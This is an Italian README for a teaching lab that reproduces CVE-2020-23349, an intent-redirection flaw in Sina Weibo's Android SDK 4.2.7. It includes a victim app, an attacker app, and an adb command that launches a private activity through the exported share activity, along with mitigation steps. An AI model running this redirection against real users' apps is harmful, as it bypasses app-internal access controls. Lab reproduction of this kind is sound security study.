
Laboratorio Android didattico per CVE-2020-23349 in Sina Weibo SDK 4.2.7
Progetto didattico per riprodurre localmente la vulnerabilità di Intent Redirection nell'SDK Android di Sina Weibo 4.2.7.
Utilizzare solo su dispositivi di test autorizzati o emulatori. Non utilizzarlo contro app di utenti reali.
victim: app vulnerabile che include il reale openDefault-4.2.7.aarattacker: app maliziosa che invoca l'WbShareTransActivity esportatavictim/.../PrivateActivity: destinazione della riproduzione con android:exported="false"Il flusso vulnerabile è il seguente.
App Attacker
-> WbShareTransActivity esportata
-> startActivity/gotoActivity nell'Intent Extra
-> esecuzione di PrivateActivity della vittima
Richiede Android SDK 36 e JDK 17.
./gradlew clean assembleDebug
File generati:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS, la riproduzione è riuscita.Si può riprodurre anche direttamente tramite ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
L'SDK 4.2.7 si fida delle stringhe startActivity e gotoActivity dell'Intent esterno e le usa nella forma seguente.
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Poiché this è il Context dell'app Victim, Android tratta l'operazione come se fosse l'app Victim stessa a eseguire la propria Activity privata.
Nelle build Android moderne è obbligatorio specificare android:exported, quindi questo progetto imposta esplicitamente true in victim/AndroidManifest.xml per riprodurre lo stato implicitamente esportato dei vecchi SDK.
Negli esercizi che non richiedono la funzionalità di condivisione, modificare i seguenti valori in false e ricompilare.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Successivamente, ripetendo lo stesso attacco si verrà bloccati da una SecurityException. Nei prodotti reali, è necessario rimuovere l'SDK Weibo 4.x e aggiornare all'ultima versione mantenuta.
L'AAR incluso proviene dal commit 4.2.7 del repository pubblico ufficiale di Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar